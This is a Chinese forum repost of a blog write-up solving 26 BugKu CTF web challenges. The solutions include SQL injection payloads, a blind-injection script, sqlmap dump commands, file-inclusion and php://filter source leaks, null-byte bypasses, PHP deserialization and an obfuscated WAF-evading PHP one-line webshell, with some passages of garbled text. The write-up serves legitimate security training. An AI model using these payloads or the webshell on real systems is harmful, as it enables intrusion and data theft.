|
本帖最后由 luozhenni 于 2022-9-16 22:44 编辑
CTF web必刷题 !BugKu web50道
原文链接:CTF web必刷题 !BugKu web50道
hacking哥 Hacking黑白红 2022-09-15 09:17 发表于安徽
声明:本公众号文章是本人学习总结笔记,也有部分文章是授权转载,如有侵权,请联系微信:hackingheibaihong。
1、web2
右键查看源码
2、计算器(F12修改表单属性长度)
F12改一下text文本框的最大输入位数>1即可
编辑
3、web基础$_GET
http://123.206.87.240:8002/get
GET方式传参即可
http://123.206.87.240:8002/get/index.php?what=flag和
http://123.206.87.240:8002/get/?what=flag均可
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
flagflag{bugku_get_su8kej2en}
4、web基础$_POST(python编程)
火狐浏览器hackbar下post方式传参即可
编辑
第二种方法:
写个python脚本run一下试试:
import requests
s = requests.Session()
r1 = s.get("http://123.206.87.240:8002/post/")
values = {'what': 'flag'}
r2 = s.post("http://123.206.87.240:8002/post/", values)
print(r2.text)
编辑
5、矛盾(%00截断)
http://123.206.87.240:8002/get/index1.php
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
这题要求传参num不能是数字,而且num=1,一开始没有什么思路,认为是弱类型的绕过,传了true进去,发现无效,问了一下度娘,发现在数字后面加上%00截断,is_numeric()函数就不能识别为数字了…
payload:
http://123.206.87.240:8002/get/index1.php?num=1%00
6、web3
编辑
点击阻止,可以让弹出框更快的结束
右键-查看网页源码
<!--KEY{J2sa42ahJK-HS11III}-->
Unioncode转码ASCII (转换工具目前还未找到,暂时在线转换http://tool.chinaz.com/tools/unicode.aspx)
Unicode编码转换 为KEY{J2sa42ahJK-HS11III
7、域名解析
一、题目--域名解析
听说把 flag.bugku.com 解析到120.24.86.145 就能拿到flag
二、分析
该题只提供了一句描述,没有像其他题目那样提供题目链接,那么我们按照题目提示的意思,将域名flag.bugku.com指向到ip地址10.24.86.145.
windows平台在c:\windows\system32\drivers\etc\hosts中最后一行加入120.24.86.145 flag.bugku.com
编辑
mac/Linux平台在/etc/hosts中加入123.206.87.240 flag.baidu.com
编辑
编辑
即可
三、知识点
DNS解析
hosts文件作用及修改
8、你必须让他停下
http://123.206.87.240:8002/web12/
这题如何让他停下?直接bp抓包拦截,然后一次一次执行,go了几次发现flag,
编辑
9、本地包含
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
REQUEST默认情况下包含了 _GET,\_GET,_GET,_POST 和 _COOKIE的数组。这题的最终目的就是要看到∗∗flag.php∗∗里的内容,eval是执行\_COOKIE 的数组。 这题的最终目的就是要看到**flag.php**里的内容,eval是执行_COOKIE的数组。这题的最终目的就是要看到∗∗flag.php∗∗里的内容,eval是执行a里的内容,所以直接file(‘flag.php’)就可以
payload:
http://123.206.87.240:8003/?hello=file(%27flag.php%27)
10、变量1
http://123.206.87.240:8004/index1.php
编辑
理解1:preg_match()是正则表达式的匹配,/^表示开始,KaTeX parse error: Expected 'EOF', got '\w' at position 12: /表示结束,结束字符 \̲w̲包含\[a-z,A-Z,,0-…args表示的是以args表示的是以args表示的是以args为变量名的变量;
理解2:GLOBALS[]包含正在执行脚本所有超级全局变量的引用内容;开头就提示flag在变量里,所以只要看看变量里都放了些什么就可以了,args=GLOABLS就可以将GLOBALS[]包含正在执行脚本所有超级全局变量的引用内容;开头就提示flag在变量里,所以只要看看变量里都放了些什么就可以了,args=GLOABLS就可以将GLOBALS[]包含正在执行脚本所有超级全局变量的引用内容;开头就提示flag在变量里,所以只要看看变量里都放了些什么就可以了,args=GLOABLS就可以将args解析成args解析成args解析成GLOBALS,var_dump打印变量的相关信息
这样就可以显示出所有变量的内容
payload:
http://123.206.87.240:8004/index1.php?args=GLOBALS
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }
11、Web5
提示是jspfuck,查看源代码,复制下来放到google控制台跑一下
编辑
根据格式CTF{WHATFK}
12、头等舱
http://123.206.87.240:9009/hd.php
BP抓包,返回的文件头里有flag
头等舱对应文件头。
编辑
13、网站被黑
http://123.206.87.240:8002/webshell/
这个题没技术含量但是实战中经常遇到
漂亮的网页,右键源码,御剑后台目录
编辑
打开shell.php如图:
编辑
Bp爆破,top1000弱口令没有,密码hack
编辑
14、管理员系统
http://123.206.31.85:1003/
编辑
随便输入登录提示:
IP禁止访问,请联系本地管理员登陆,IP已被记录。(说明这题需要伪装成本地访问才可以通过,伪装本地访问的方法就是在headers里面添加如下http头,
BP里添加:X-Forwarded-For:127.0.0.1)
右键源码发现最底部
<!-- dGVzdDEyMw== -->
Base64解密为test123,初步判断为密码,用户名尝试用admin
在bp的repeat功能里添加X-Forwarded-For:127.0.0.1(火狐添加也可以)admin/test123登录
出现flag
编辑
flag{85ff2ee4171396724bae20c0bd851f6b}
15、web4
题目链接:http://123.206.87.240:8002/web4/
查看源码
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
我们将p1,’%35%34%61%61%32’,p2的内容url解码后拼接起来,得到如下代码
小葵花工具URL解码准备
function checkSubmit()
{
var a=document.getElementById("password");
if("undefined"!=typeof a)
{if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
编辑
分析代码后,将67d709b2b54aa2aa648cf6e87a7114f1输入表单中,即可得到flag
flag:KEY{J22JK-HS11}
16、flag在index里
http://123.206.87.240:8005/post/
有个click me? no,我们点击一下,发现url变成了
http://123.206.87.240:8005/post/index.php?file=show.php
明显存在文件包含漏洞,
用如下payload查看index.php的源码
payload:
http://123.206.87.240:8005/post/ ... /resource=index.php
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
末尾带等号Base64解密
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
17、输入密码查看flag
http://123.206.87.240:8002/baopo/
编辑
BP爆破
18、点击一百万次
http://123.206.87.240:9001/test/
通过post方式绕过这个1000000次
编辑
19、备份是个好习惯
http://123.206.87.240:8002/web16/
备份文件
http://123.206.87.240:8002/web16/index.php.bak
源代码
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
两个字符串md5加密后获得均为0e开头的密文,==漏洞只对0e进行比较
20、成绩单(手动注入、sqlmap,python)
http://123.206.87.240:8002/chengjidan/
注入三种方法:手动sql注入、sqlmap注入(post方式)、python脚本注入
编辑
a.找漏洞
输入1,2,3 均显示成绩
输入-1’ or 1=1# 同样显示成绩,证明存在注入漏洞
输入1'返回异常,输入1'--+返回异常,输入1' #或者1’-- +返回正常,看来过滤了--+
观察,表貌似有四列(名字,Math,English,Chinese),输入1' order by 4#返回正常,输入1' order by 5#返回异常,看来的确是4列
接下来就开始暴库名、表名、字段名
尝试联合查询,记得把前面的查询数据置空,写成id=-1即可,显示正常,说明确确实实存在这四列数据
我们先手遍历一遍 id=-1' union select 1,2,3,4#
发现有四个表且都有回显
于是 就开始爆破吧
首先爆库名:通过id=-1' union select 1,2,3,database()#得到数据库名字skctf_flag
b.爆表
然后爆表:通过使用 id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
编辑
c.爆字段
接下来我们就要暴字段了
通过id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467# //这里需要用16进制绕过
编辑
d.爆破字段值,得到字段skctf_flag
最后就是查询数据了,通过使用:id=-1' union select 1,2,3,skctf_flag from fl4g#
编辑
输入1并进行抓包
编辑
然后按右键,点击copy to file保存文件,这里我保存到了C盘 333.txt。
编辑
然后打开sqlmap开始爆库:sqlmap.py -r “C:\333.txt” -p id –current-db
-r –> 加载一个文件
-p –>指定参数
–current-db –>获取当前数据库名称(current前有两个-)
编辑
可以看到它的数据库为 ‘skctf_flag’,接着就是爆表
sqlmap.py -r “C:\333.txt” -p id -D skctf_flag - -tables
-D –>指定数据库名称
–tables –>列出数据库中的表(tables前有两个-)
编辑
可以看到当前数据库中有两个表,很明显,flag应该在fl4g表中,下面就是该爆出表中的字段了
sqlmap.py -r “C:\333.txt” -p id -D skctf_flag -T fl4g –columns
-T –>指定表名称
–columns –>列出表中的字段
编辑
fl4g表中有一个名为skctf_flag字段,最后列出字段信息就可以啦。
sqlmap.py -r “c:\333.txt” -p id -D skctf_flag -T fl4g -C skctf_flag –dump
–dump –>列出字段数据(dump前有两个-)
编辑
- python sql盲注
通过构造id=1' and 1=1#或返回成绩,id=1' and 1=2#不会返回成绩。可以肯定这道题可以利用布尔盲注
脚本
# -*- coding:utf-8 -*-
import requests
import re
url = "http://120.24.86.145:8002/chengjidan/index.php"
base_payload = "1' and if(ascii(substr({data},{len},1))>{number},1,0)#" #if(prep1.prep2,prep3) 若表达式prep1为真,则返回prep2,若prep1为假,则返回prep3
#base_payload = "1' and if(ascii(substr(select table_name from information_schema.tables where table_name=database() limit 0,1)>{num},{len},1),1,0)#"
#payload = "database()" #skctf_flag
#payload = "(select table_name from information_schema.tables where table_schema=database() limit 0,1)" #fl4g
#payload = "(select column_name from information_schema.columns where table_name='fl4g' limit 0,1)" #skctf_flag
payload = "(select skctf_flag from fl4g limit 0,1)"
information=""
for m in range(1,50):
for i in range(32,129):
post_data = {"id":base_payload.format(data = payload,len = m,number=i)}
r = requests.post(url,post_data)
resultarr = re.findall(r"<td>(.+?)<td>",r.text)
result = ''.join(resultarr)
#print result
#print r.text
#print post_data
if '60' not in result:
information += chr(i)
break
print information
payload从上倒下依次是为了得到数据库名字,flag表名,flag字段名,flag
爆破数据库名
爆破表名
爆破flag字段名
爆破flag
21、秋名山老司机
http://123.206.87.240:8002/qiumingshan/
编辑
BP+Python编程,读取页面的算式,并计算
Python3
import re
import requests
s = requests.Session()
r = s.get("http://123.206.87.240:8002/qiumingshan/")
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
print(eval(searchObj.group(1))
d = {"value": eval(searchObj.group(1))}
r = s.post("http://123.206.87.240:8002/qiumingshan/", data=d)
print(r.text) #有问题,结果未出来
参照 网络实验室口算
import re
import requests
s = requests.Session()
r = s.get("http://123.206.87.240:8002/qiumingshan/")
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
print(eval(searchObj.group(1))
d = {"value": eval(searchObj.group(1))}
r = s.post("http://123.206.87.240:8002/qiumingshan/", data=d)
print(r.text)
22、速度要快
速度要快!!!!!!
http://123.206.87.240:8002/web6/
格式KEY{xxxxxxxxxxxxxx}
BP+编程
burpsuite抓包,返回的flag一直在变
上看大佬们写的wp,知道repeater里的那个让我惊喜的flag值居然在变……它在变……go了几发终于死心,真的会变嘤;
无可奈何开始写脚本……
import requests
import base64
url="http://120.24.86.145:8002/web6/"
r=requests.session()
headers=r.get(url).headers#因为flag在消息头里
mid=base64.b64decode(headers['flag'])
mid=mid.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的
flag = base64.b64decode(mid.split(':')[1])#获得flag:后的值
data={'margin':flag}
print (r.post(url,data).text)#post方法传上去
编辑
从burpsuite中我们可以知道,我们看到的那个flag肯定是可以得到答案的,但是让人纠结的地方就是会变而已;
下一步我们也知道了这个flag进行了base64编码,只要进行解码就可以了;
根据这些开始写脚本,详见代码中的注释;
跑完就出真正的flag了
23、cookies欺骗
http://123.206.87.240:8002/web11/
思路:读取源代码(手工或者编程),代码审计,设置cookie参数(hackbar或者BP设置)和文件参数获取 flag
编辑
观察url发现参数filename的值加密了
解密后filename=keys.txt
那么我们是否可以通过filename访问index.php呢,试一下,将index.php通过base64编码得 aW5kZXgucGhw
然后访问,line应该是行数,随便去试一下就知道了
编辑
用脚本把index.php的源码读出来~
1 import requests
2 a=30
3 for i in range(a):
4 url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
5 s=requests.get(url)
6 print (s.text)
源码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
构造cookie,margin=margin,访问key.php (用base64编码,这里不再演示)即可
然后右键查看源码就得到flag啦
编辑
参考:https://www.cnblogs.com/tqqnb/p/12120235.html
24、never give up
http://123.206.87.240:8006/test/hello.php
编辑
0x00 前言
此题为 Web 基础题,难度中低,需要的基础知识有:HTML、PHP、HTTP 协议。
首先考查发现源码的能力,其次重点考查 PHP 黑魔法的使用,相关链接如下:
题目链接:http://123.206.31.85/challenges#never give up
解题链接:http://120.24.86.145:8006/test/hello.php
0x01 拦截跳转
点开解题链接,除了一句 never never never give up !!! 之外空空如也,直接查看源码,发现一条注释中有线索:
编辑
根据提示打开链接:http://120.24.86.145:8006/test/1p.html,发现跳转回 Bugku 的主站,所以祭出 BurpSuite 进行抓包拦截。
请求数据包如下:
编辑
响应数据包如下:
编辑
0x02 三重解码
根据响应内容中变量 Words 的值,容易得出是一段 URL 编码后的数据:- %3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E
复制代码
对其进行解码,得到一条 Javascript 语句与一大段注释,易看出注释中的内容是一段 Base64 编码后的数据:
- <script>window.location.href='http://www.bugku.com';</script>
- <!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->
复制代码
释中的内容进行解码,发现又是一大段 URL 编码后的数据:- %22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E
复制代码
URL 解码后,终于得到一段不完整的 PHP 核心源码:
- ";if(!$_GET['id'])
- {
- header('Location: hello.php?id=1');
- exit();
- }
- id=id=_GET['id'];
- a=a=_GET['a'];
- b=b=_GET['b'];
- if(stripos($a,'.'))
- {
- echo 'no no no no no no no';
- return ;
- }
- data=@filegetcontents(data=@filegetcontents(a,'r');
- if($data=="bugku is a nice plateform!" and id==0andstrlen(id==0andstrlen(b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
- {
- require("f4l2a3g.txt");
- }
- else
- {
- print "never never never give up !!!";
- }
- ?>
复制代码
其中各条核心语句的作用如下:
第 1 行:限制 URL 查询字符串中必须有非空非零变量 id
第 9 行:限制变量 $a 中不能含有字符 .
第 15 行:要满足以下 5 条表达式才会爆 flag:
变量 $data 弱等于字符串 bugku is a nice plateform!
变量 $id 弱等于整型数 0
变量 $b 的长度大于 5
字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
变量 $b 的第一个字符弱不等于整型数 4
注意,源码中已暴露出 flag 文件,有可能是出题人的失误,也有可能是出题人故意用第 15 行复杂的语句迷惑你,实际上可以绕过。因此,直接访问链接 http://120.24.86.145:8006/test/f4l2a3g.txt 即可获得 flag。
不过,第 15 行的语句也是可解的(应该也是此题的本意),请继续往下看。
0x03 PHP 黑魔法
本节分别针对源码中 $id、$a、$b 三个变量需要满足的条件进行讲解。
PHP 弱类型比较
编辑
由上图可知,变量 $id 若想满足非空非零且弱等于整型数 0,则 $id 的值只能为非空非零字符串,这里假设 $id = "asd"。
有关 PHP 类型比较的详情可参考:PHP 类型比较表
PHP 伪协议
源码中变量 $data 是由 file_get_contents() 函数读取变量 $a 的值而得,所以 $a 的值必须为数据流。
在服务器中自定义一个内容为 bugku is a nice plateform! 文件,再把此文件路径赋值给 $a,显然不太现实。因此这里用伪协议 php:// 来访问输入输出的数据流,其中 php://input可以访问原始请求数据中的只读流。这里令 $a = "php://input",并在请求主体中提交字符串 bugku is a nice plateform!。
有关 PHP 伪协议的详情可参考:支持的协议和封装协议
eregi() 截断漏洞
CTF 题做多了就知道 ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
源码中待匹配字符串(第二个参数)已确定为 "1114",正则表达式(第一个参数)由 "111" 连接 $b 的第一个字符组成,若令 substr($b,0,1) = "\x00",即满足 "1114" 与 "111"匹配。因此,这里假设 $b = "\x0012345",才能满足以上三个条件。
有关 PHP 的各种黑魔法可参考:
PHP函数黑魔法小总结
CTF之PHP黑魔法总结
那些年学过的PHP黑魔法
0x04 构造 payload 爆 flag
分析出以上三个变量应该等于什么值后,接下来构造出对应的 payload 自然就 get flag 了。之所以将构造 payload 单独拿出来讲,是想分享笔者在构造 payload 过程中踩过的坑。
在构造变量 b 中的空字符时,过早将空字符 \x00 放入,在提交请求时导致请求头截断,继而请求失败,得不到响应。
编辑
因为 b 是 URL 查询字符串中的变量,不应该在此放入空字符 \x00,而应该为空字符的 URL 编码 %00。注意,虽然 b=%0012345 实际字符串长度为 8 字节,但在后台脚本读入数据时,会将 URL 编码 %00 转换成 1 字节。所以说,空字符应该在后台脚本的变量中出现,而不是在 URL 查询字符串变量中出现。
构造出正确的 payload 后,完成此题常规思路的做法:
编辑
分类: writeup学习
25、welcome to bugkuctf
http://123.206.87.240:8006/
参考:https://blog.csdn.net/yh1013024906/article/details/81087939
源码:
编辑
源代码分析:
从上面的代码可以看出以下信息:
通过get方法传递三个值:txt,file,password
读取$user文件的内容,并且文件内容要与‘welcome to the bugkuctf’相同
$file经提示应该为hint.php
因为file_get_contents($user,'r')这个函数的意思是将$user这个文件的内容写到字符串里去,就是说$uesr文件里的内容会变成一个字符串。那么现在我们要考虑的是怎么让$uesr这个文件的内容读取出来就是"welcome to the bugkuctf"
这里就涉及到一个php伪协议,就是php://input,它的大概意思就是可以读取我们post传递的数据。它的详解在这篇文章中有很好的解释 https://blog.csdn.net/qq_27682041/article/details/73326435。
所以看完了这篇文章的话,你应该就知道file_get_contents()函数里面放的不止文件名哦,还可以放php的伪协议,如果把这个php://input作为文件名放进去的话,这个函数发现是一个伪协议,那作为一个“文件”,它里面肯定是没有内容的吧,那要怎么把它的内容变成一个字符串呢,它会读取我们post传递的数据作为它的”文件内容“,然后再变成一个字符串。
比如说我们现在有这么一句 file_get_contents("php://input"),然后我们又post传递了一个数据的话,那这个数据就会被php://input读取到,然后file_get_contents又把它变成字符串。
所以我们构造txt=php://input,并且post一个"welcome to the bugkuctf"试试看
编辑
网页变了,但是为什么是一个hello friend!呢。。。。我也不知道,不过我们代码中的第一层已经解开了,再往下看吧。有一个include($file);//hint.php ,首先我们知道include($file)是动态读取文件名,然后又提示我们hint.php,那岂不是说我们可以直接让file=hint.php就可以得到下一步信息了!
编辑
果然还是没有那么简单。。。不然怎么引出我们第二个php伪协议呢?php://filter 这个协议现在我只知道可以用来读取网页base64编码后的源代码。用这句 file=php://filter/read=convert.base64-encode/resource=hint.php
就可以得到hint.php这个网页的base64编码后的源代码了。
编辑
光看这个代码是不是感觉信息不是很够呢,要不我们再看看index.php这个文件的源代码。
编辑
不要问我为什么知道要看index.php里的,因为这个一般是主页文件,有很重要的信息嘛,嘿嘿嘿嘿嘿嘿嘿。
可以看到这么多代码,虽然很烦,但是先从简单的地方来理解。
第一张图提示了我们flag.php,但是我们可以看第二张图,如果我们设定的文件名中包含’flag‘,那么就会跳出“不能现在就给你flag哦”然后exit();
继续看第二张图,第一个if告诉我们,我们之前的大前提并没有改变,但是在这个前提下还附加了一些条件,如果文件名没有"flag"了,就会把这个文件包含进来,然后$password进行反序列化,再输出$password的值。什么是反序列化呢,那就要先知道序列化啦,在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构(这是百度的)。我们可以把它想成一种编码嘛。
回到第一张图,定义了一个类 FLAG,类里面有一个$file属性,并且有一个魔术方法_tostring(),这个方法的作用就是当调用实例化对象时就会自动执行_tostring()这个方法。简单来说创造一个这个类的对象就会调用这个方法。魔术方法呢,就是一个很神奇的方法(一本正经的胡说八道),大概就是一种类里面默认的方法,你可以对它进行改造,类似于构造方法。反正大家都要了解的,去百度看看用法和详解吧。
_tostring()方法里面又定义了如果$file这个属性有赋值的话,那么就会输出这个文件的内容(输出成一个字符串)。
所以根据上面的这些条件,我们可以让$password为FLAG类型,并且让FLAG中的$file就等于flag.php,这样我们就可以得到flag.php的内容了,不过要记得,前面$password进行了反序列化的操作,所以我们要先把它序列化。写一个php脚本吧!
编辑
在本地的服务器跑一下,我们就可以得到序列化的一个FLAG类咯。大家如果还没有搭本地服务器的话,推荐先自己学习一下怎么搭建环境,在本地可以自己试验各种php代码,可以自己了解数据库一些操作等等。下一个APPSERV就可以啦,这是一个合集,也是有中文的,网上都有教程的,很简单。
那最后我们就给$password赋值吧
编辑
得到了flag啦。
感谢您的观看,这是我的第一篇文章,没有什么写作的经验,而且自己现在的技术没有多高,就是一个刚入门的小白,因为经常在writeup上看不懂,所以我会用自己理解的方式做下笔记,方便自己以后查看的时候能够看懂,在一些名词的解释方面可能不太正确,推荐大家去看看大佬们的解释,我只是用自己的方式记忆。。。。如果文章中有哪里出错,希望您可以指出让我改进,如果有和我一样刚入门的小白想知道bugku上其他一些题目的思路也可以告诉我,如果我会的话,会尽力写一篇writeup讲解的,再次感谢!
同思路-:
https://blog.csdn.net/wy_97/arti ... ai2-2.channel_param
26、过狗一句话
http://123.206.87.240:8010/
送给大家一个过狗一句话
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>
本题要点:php scandir()函数、assert代码执行漏洞
php中读取目录下文件的方法:
编辑
最简单的是print_r(scandir($dir)),还可以利用print_r(glob("*.*"))
scandir() //作用能扫描文件夹下的目录和文件,返回值为所有文件名组成的一个数组
